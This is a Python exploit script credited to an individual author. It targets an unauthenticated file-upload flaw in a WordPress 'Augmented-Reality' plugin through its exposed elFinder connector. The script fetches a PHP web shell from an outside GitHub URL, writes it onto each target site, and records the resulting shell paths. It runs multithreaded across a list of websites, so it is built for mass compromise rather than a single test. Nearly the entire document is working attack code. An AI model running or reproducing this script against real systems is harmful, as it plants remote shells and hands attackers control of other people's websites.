# Exploit Title: Wordpress Augmented-Reality - Remote Code Execution Unauthenticated
# Date: 2023-09-20
# Author: Milad Karimi (Ex3ptionaL)
# Category : webapps
# Tested on: windows 10 , firefox
import requests as req
import json
import sys
import random
import uuid
import urllib.parse
import urllib3
from multiprocessing.dummy import Pool as ThreadPool
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
filename="{}.php".format(str(uuid.uuid4())[:8])
proxies = {}
#proxies = {
#Â 'http': 'http://127.0.0.1:8080',
#Â 'https': 'http://127.0.0.1:8080',
#}
phash = "l1_Lw"
r=req.Session()
user_agent={
"User-Agent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36"
}
r.headers.update(user_agent)
def is_json(myjson):
 try:
   json_object = json.loads(myjson)
 except ValueError as e:
   return False
 return True
def mkfile(target):
   data={"cmd" : "mkfile", "target":phash, "name":filename}
   resp=r.post(target, data=data)
   respon = resp.text
   if resp.status_code == 200 and is_json(respon):
       resp_json=respon.replace(r"\/", "").replace("\\", "")
       resp_json=json.loads(resp_json)
       return resp_json["added"][0]["hash"]
   else:
       return False
def put(target, hash):
   content=req.get("https://raw.githubusercontent.com/0x5a455553/MARIJUANA/master/MARIJUANA.php", proxies=proxies, verify=False)
   content=content.text
   data={"cmd" : "put", "target":hash, "content": content}
   respon=r.post(target, data=data, proxies=proxies, verify=False)
   if respon.status_code == 200:
     return True
def exploit(target):
   try:
       vuln_path = "{}/wp-content/plugins/augmented-reality/vendor/elfinder/php/connector.minimal.php".format(target)
       respon=r.get(vuln_path, proxies=proxies, verify=False).status_code
       if respon != 200:
         print("[FAIL] {}".format(target))
         return
       hash=mkfile(vuln_path)
       if hash == False:
         print("[FAIL] {}".format(target))
         return
       if put(vuln_path, hash):
         shell_path = "{}/wp-content/plugins/augmented-reality/file_manager/{}".format(target,filename)
         status = r.get(shell_path, proxies=proxies, verify=False).status_code
         if status==200 :
             with open("result.txt", "a") as newline:
                 newline.write("{}\n".format(shell_path))
                 newline.close()
             print("[OK] {}".format(shell_path))
             return
         else:
             print("[FAIL] {}".format(target))
             return
       else:
         print("[FAIL] {}".format(target))
         return
   except req.exceptions.SSLError:
         print("[FAIL] {}".format(target))
         return
   except req.exceptions.ConnectionError:
         print("[FAIL] {}".format(target))
         return
def main():
   threads = input("[?] Threads > ")
   list_file = input("[?] List websites file > ")
   print("[!] all result saved in result.txt")
   with open(list_file, "r") as file:
       lines = [line.rstrip() for line in file]
       th = ThreadPool(int(threads))
       th.map(exploit, lines)
if __name__ == "__main__":
   main()